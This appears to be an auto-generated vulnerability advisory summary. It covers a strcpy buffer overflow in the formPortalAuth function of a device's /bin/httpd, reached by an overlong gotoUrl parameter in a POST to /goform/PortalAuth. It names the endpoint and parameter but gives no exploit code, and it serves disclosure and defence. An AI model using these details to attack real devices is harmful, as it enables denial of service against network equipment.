Patches

Vulnerability mechanics

Root cause

"The gotoUrl parameter in the formPortalAuth function does not validate its length, leading to a buffer overflow when using strcpy()."

Attack vector

An attacker can exploit this vulnerability by sending a crafted POST request to the /goform/PortalAuth endpoint. The request should include an excessively long string in the gotoUrl parameter. This oversized input will overwrite adjacent memory, causing a buffer overflow and potentially a denial of service [ref_id=1]. The vulnerability is present in the /bin/httpd file [ref_id=1].

Affected code

The vulnerability resides within the 'formPortalAuth' function, located in the '/bin/httpd' executable. Specifically, the 'gotoUrl' parameter is processed without proper length validation, leading to a buffer overflow due to the use of the 'strcpy()' function [ref_id=1].

What the fix does

The advisory does not provide details on a specific patch or fix. It is recommended to consult the vendor for updated firmware or security advisories. Without a patch, the vulnerability remains unaddressed.

Preconditions

  • networkThe vulnerable device must be accessible over the network.
  • inputThe attacker must be able to send a POST request with a crafted 'gotoUrl' parameter.
